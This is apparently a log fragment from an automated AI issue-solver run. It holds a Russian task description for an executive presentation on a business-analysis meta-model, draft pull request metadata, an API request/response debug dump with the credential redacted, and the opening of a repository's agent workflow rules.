\u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u0440\u0430\u0436\u0430\u043b\u0430 \u043d\u0435 \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0442\u043d\u0443\u044e \u0442\u0435\u043e\u0440\u0438\u044e, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u043e\u0439 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e:\\n1. **\u0422\u0435\u043a\u0443\u0449\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0425\u0430\u0431\u0430:** \\n   - `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process` (\u0432\u043a\u043b\u044e\u0447\u0430\u044f `docs/adr/`, `docs/analysis/`, `meta-model/`).\\n   - \u041d\u0435\u0434\u0430\u0432\u043d\u0438\u0435 \u0430\u0443\u0434\u0438\u0442\u044b: `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md`\\n2. **\u041f\u0440\u0435\u0434\u044b\u0441\u0442\u043e\u0440\u0438\u044f \u0438 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0431\u0430\u0437\u0430 (\u0421 \u0447\u0435\u0433\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0438):**\\n   - \u0420\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 `https://github.com/G-Ivan-A/mango_ba_prompts` (\u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 60 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0437\u0430\u0434\u0430\u0447, \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043e\u0442 \u0445\u0430\u043e\u0442\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438).\\n   - \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0411\u0410 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/issue-639-405767e7672e/research/ba-requirements\\n- \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044f\u0441\u044c \u043f\u043e \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\\n\\n**\u0426\u0435\u043b\u0438 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u044b (\u0427\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442\u043e):**\\n\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c **\u0434\u0432\u0430 \u0432\u0437\u0430\u0438\u043c\u043e\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430**, \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u044f \u0432\u0435\u043b\u043e\u0441\u0438\u043f\u0435\u0434, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043b\u0443\u0447\u0448\u0438\u0435 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438\u043d\u0446\u0438\u043f Assertion-Evidence, \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u0438\u0437\u043c \u0442\u0435\u043a\u0441\u0442\u0430, \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u0435\u0442\u0430\u0444\u043e\u0440\u0430).\\n\\n**\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 1: \u0428\u0430\u0431\u043b\u043e\u043d \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 (\u0421\u043b\u0430\u0439\u0434\u044b)**\\n\u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 (\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438 \u0442\u043e\u0447\u043d\u044b\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0441\u0430\u043c \u0434\u043b\u044f \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f):\\n1. **\u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f:** \u0411\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 (\u0432\u044b\u0441\u043e\u043a\u0430\u044f \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c, \u043a\u043e\u043c\u043f\u043b\u0430\u0435\u043d\u0441).\\n2. **\u0411\u043e\u043b\u044c:** \u0420\u0430\u0437\u0440\u044b\u0432 \u043c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c\u0438 \u0438 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u0422\u0417, \u0440\u0443\u0447\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0440\u0438\u0441\u043a \u043f\u043e\u0442\u0435\u0440\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 \u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443.\\n3. **\u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438:** \u0421\u0442\u0440\u043e\u0433\u0430\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f: \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442.\\n4. **\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432 (\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u2192 \u0420\u0435\u0448\u0435\u043d\u0438\u0435):** \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0418\u0418. \u0420\u0435\u0448\u0435\u043d\u0438\u0435: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \\\"\u043c\u044b\u0441\u043b\u044c\\\", \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u043e\u0431\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u0438\u0445 \u0432 \u0436\u0435\u0441\u0442\u043a\u0438\u0435 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\u0440\u0435\u0448\u0435\u043d\u0438\u0438, \u0430 \u043d\u0435 \u043d\u0430 \u043c\u0430\u0440\u043a\u0435\u0442\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043b\u043e\u0437\u0443\u043d\u0433\u0430\u0445).\\n- [ ] \u0412\u0441\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u043e\u043b\u043d\u044b\u043c\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u043c\u0438 URL.\\n- [ ] \u0417\u0430\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u043d\u0430 \u0432 \u0441\u0442\u0430\u0442\u0443\u0441 `review`.\\n\\n**\u041e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 (\u0412\u0430\u0436\u043d\u043e):**\\n\u041f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0437\u0430\u0434\u0430\u0435\u0442 \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u043c\u044b. **\u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435** \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b, \u043a\u0430\u043a\u0438\u0435 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432, \u043a\u0430\u043a \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0434\u043b\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u043e\u043a \u0438 \u043a\u0430\u043a \u0432\u044b\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043d\u0430\u0440\u0440\u0430\u0442\u0438\u0432 \u0432 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438. \u041c\u0438\u043a\u0440\u043e\u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d. \u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u2014 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043b\u0443\u0447\u0448\u0438\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0434\u043b\u044f C-level/Head of AI \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438. \u041c\u044b \u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u043c \u0432\u0435\u043b\u043e\u0441\u0438\u043f\u0435\u0434, \u0430 \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u0443\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u043f\u043e\u0434 \u043d\u0430\u0448\u0443 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0443.\\ntitle:\\t[WIP] title: \\\"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\\\"\\nstate:\\tDRAFT\\nauthor:\\tkonard (Konstantin Diachenko)\\nlabels:\\t\\nassignees:\\tkonard (Konstantin Diachenko)\\nreviewers:\\t\\nprojects:\\t\\nmilestone:\\t\\nnumber:\\t648\\nurl:\\thttps://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\\nadditions:\\t1\\ndeletions:\\t0\\nauto-merge:\\tdisabled\\n--\\n## \ud83e\udd16 AI-Powered Solution Draft\\n\\nThis pull request is being automatically generated to solve issue #646.\\n\\n### \ud83d\udccb Issue Reference\\nFixes #646\\n\\n### \ud83d\udea7 Status\\n**Work in Progress** - The AI assistant is currently analyzing and implementing the solution draft.\\n\\n### \ud83d\udcdd Implementation Details\\n_Details will be added as the solution draft is developed..._\\n\\n---\\n*This PR was created automatically by the AI issue solver*\\ncommit 611336aa85daea757b56bcbe7dbb14fdd0356d9f\\nAuthor: konard \\nDate:   Tue Sep 29 07:43:01 2026 +0000\\n\\n    Initial commit with task details\\n    \\n    Adding .gitkeep for PR creation (default mode).\\n    This file will be removed when the task is complete.\\n    \\n    Issue: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\n\\n .gitkeep | 1 +\\n 1 file changed, 1 insertion(+)\",\n[2026-09-29T07:43:42.041Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:43:42.041Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:43:42.041Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:43:42.041Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:43:42.041Z] [INFO]   }\n[2026-09-29T07:43:42.041Z] [INFO] }\n[2026-09-29T07:43:42.084Z] [STDOUT] [log_06ffad] sending request {\n[2026-09-29T07:43:42.087Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:43:42.089Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:42.093Z] [STDOUT]   options: {\n[2026-09-29T07:43:42.096Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:43:42.098Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:43:42.101Z] [STDOUT]     body: {\n[2026-09-29T07:43:42.103Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:43:42.105Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:43:42.107Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:43:42.109Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:43:42.111Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:43:42.115Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:43:42.118Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:43:42.121Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:43:42.123Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:43:42.125Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:43:42.127Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:43:42.129Z] [STDOUT]       stream: true,\n[2026-09-29T07:43:42.131Z] [STDOUT]     },\n[2026-09-29T07:43:42.133Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:43:42.135Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:43:42.136Z] [STDOUT]       aborted: false,\n[2026-09-29T07:43:42.138Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:43:42.140Z] [STDOUT]       onabort: null,\n[2026-09-29T07:43:42.142Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:43:42.144Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:43:42.146Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:43:42.150Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:43:42.152Z] [STDOUT]     },\n[2026-09-29T07:43:42.154Z] [STDOUT]     stream: true,\n[2026-09-29T07:43:42.156Z] [STDOUT]   },\n[2026-09-29T07:43:42.158Z] [STDOUT]   headers: {\n[2026-09-29T07:43:42.160Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:43:42.162Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:43:42.164Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:43:42.166Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:43:42.168Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:43:42.170Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:43:42.172Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:43:42.174Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:43:42.176Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:43:42.181Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=7492\",\n[2026-09-29T07:43:42.183Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:43:42.185Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:43:42.187Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:42.189Z] [STDOUT]     \"x-client-request-id\": \"dac405cf-21e1-4f6c-92fb-3e4c98e5037c\",\n[2026-09-29T07:43:42.192Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:43:42.194Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:43:42.196Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:43:42.198Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:43:42.199Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:43:42.201Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:43:42.203Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:43:42.205Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:43:42.207Z] [STDOUT]   },\n[2026-09-29T07:43:42.209Z] [STDOUT] }\n[2026-09-29T07:43:42.888Z] [STDOUT] [log_06ffad, request-id: \"req_011CfXMdBqSAjA47bEPaTAFB\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 804ms\n[2026-09-29T07:43:42.892Z] [STDOUT] [log_06ffad] response start {\n[2026-09-29T07:43:42.894Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:42.897Z] [STDOUT]   status: 200,\n[2026-09-29T07:43:42.899Z] [STDOUT]   headers: {\n[2026-09-29T07:43:42.904Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:43:42.906Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:43:42.908Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:43:42.910Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:43:42.912Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:43:42.914Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:43:42.918Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:43:42.922Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:43:42.927Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:43:42.935Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:43:42.939Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:43:42.945Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:43:42.951Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:43:42.955Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:43:42.961Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:43:42.964Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:43:42.970Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:43:42.976Z] [STDOUT]     \"cf-ray\": \"a4295bc00c384d8b-FRA\",\n[2026-09-29T07:43:42.980Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:43:42.986Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:43:42.989Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:43:42.994Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:43:42.997Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:43:42 GMT\",\n[2026-09-29T07:43:42.999Z] [STDOUT]     \"request-id\": \"req_011CfXMdBqSAjA47bEPaTAFB\",\n[2026-09-29T07:43:43.005Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:43:43.009Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:43:43.013Z] [STDOUT]     traceresponse: \"00-6aaffb63accf28802419caa6738f9ba5-2b7266cafbc89a5c-01\",\n[2026-09-29T07:43:43.016Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:43:43.018Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:43:43.023Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:43:43.026Z] [STDOUT]   },\n[2026-09-29T07:43:43.029Z] [STDOUT]   durationMs: 804,\n[2026-09-29T07:43:43.034Z] [STDOUT] }\n[2026-09-29T07:43:43.038Z] [STDOUT] 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Read it completely before the first action. It is a dispatcher; detailed rules remain in their canonical documents.\\n\\n- archetype: `A`\\n- environment: `local`\\n\\nThe values mirror `.hub-profile.json`, which is the SSOT. A mismatch is a validation failure. This contract applies to every model; model- or environment-specific files may only be generated pointers, never copies of these rules.\\n\\nRule scope is explicit and machine-checkable. ``, ``, `` and `` are **general**: they hold in every repository of the ecosystem and are delivered unchanged into spoke templates. `` is the **only** home for rules of this repository; a spoke replaces its content and never weakens or rewrites the general sections. The section list, the size thresholds and the frontmatter contract are normed once in https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/agents-md-bootstrap-standard.md and are not restated here.\\n\\n\\n\\n1. Read this file before changing files, then follow the full router at https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-routing.md.\\n2. Start from an issue or an explicit request of the repository owner or the task author; read its latest comments and current PR feedback before editing.\\n3. Do not invent repository structure, facts, estimates, or sources. Classify an artifact by content and place it in its canonical home.\\n4. One artifact exists only for an operational need (Anti-Inflation).\\n5. Work through a pull request; direct commits to `main` are forbidden.\\n6. Run applicable validators before committing. A red validator stops the change.\\n7. Normalise the goal before executing: read the project concept and vision, interpret the stated goal in their context, and check that the listed tasks actually close it. Judge a decision tactically (does it close the goal?) and strategically (does it keep the project on course to its vision?); a tactical win that causes a strategic defeat is a defect, and the pull request states the strategic risk. A contradiction between the task, the repository contracts and the project concept is appealed, not silently resolved \u2014 see ``.\\n8. Check the backlog at https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md before starting and update the entry you executed after finishing. Do not add the current task to the backlog retrospectively if it was not there.\\n9. When a task is incomplete, continue within safe explicit scope and record the gap. Escalate only when a missing decision would materially change the result.\\n\\n\\n\\n- Do not create `docs/contracts/`; agent contracts live in `ai-rules/`.\\n- Do not copy rules into model- or environment-specific files. Generated, validator-protected pointers are allowed.\\n- Do not use `ai-generated` in document frontmatter.\\n- Do not add a top-level directory outside the core, archetype, declared environment, or `project_specific_directories` without the required decision record.\\n- Do not add named directory denylists. A non-canonical directory is declared in `.hub-profile.json` with `path` and a non-empty `reason`; absence from the canonical set is not a prohibition.\\n- Do not change `standards/` or `docs/adr/` without explicit task authority.\\n- Do not delete or overwrite another contributor's artifacts instead of creating the required new version.\\n- Do not use relative links to Hub rules from a spoke.\\n- Do not act on an unresolved contradiction by picking one reading silently, and do not stop with an empty result instead of appealing.\\n- Do not execute a knowingly wrong instruction literally, praise the author, apologise for the system's work, or change a position without a new argument or evidence.\\n\\n\\n\\nRecommendations. Apply them unless they conflict with ``, ``, or the goal of the task; a justified deviation is recorded in the pull request. There is no class of \\\"soft rules\\\": a norm is either absolute above or a recommendation here.\\n\\n- Prefer extending an existing canonical artifact over creating a new one.\\n- Test the boundary and the alternative hypothesis before confirming a direction, and record what was falsified.\\n- Keep the diff small and reviewable; one PR closes 